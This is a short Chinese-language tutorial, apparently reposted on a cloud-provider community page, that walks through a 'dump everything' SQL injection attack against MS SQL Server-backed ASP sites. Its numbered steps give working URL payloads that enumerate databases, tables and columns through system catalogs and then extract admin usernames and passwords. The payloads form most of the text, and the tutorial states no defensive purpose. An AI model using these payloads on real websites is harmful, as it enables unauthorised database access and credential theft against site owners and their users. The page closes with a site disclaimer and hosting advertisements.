SQL注入之”全暴”

來源:互聯網
上載者:User

SQL INJECTION 靈活多變,注入的語句不一,下面只提供暴庫的一般
步驟,希望能對你有協助。

1:暴出所有庫名.
http://www.***.com/***.asp?id=1 and 0<>(select count(*)
from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的資料庫名

2:暴出庫中的表
假設存在一個bbs的資料庫,提交下面的語句:
http://www.***.com/jump.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.sysobjects where xtype='U')
來得到一個表 假設為 admin
提交:
http://www.***.com/jump.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.sysobjects where xtype='U' and name not in
('Admin'))
來得到其他的表。

3:暴出表中的欄位
提交:
http://www.***.com/***.asp?id=1 and 0<>(select count(*)
from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id)))
得到UID的數值假設為18779569 uid=id
提交:
http://www.***.com/***.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.syscolumns where id=18779569)
得到一個admin的一個欄位,假設為 user_id
 
 4:暴出使用者名稱和密碼等
假設存在user_id username ,password 等欄位,提交:
http://www.***.com/***.asp?id=1 and 0<(select user_id from
BBS.dbo.admin where username>1)
可以得到使用者名稱
依次可以得到密碼。。。。。
 

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.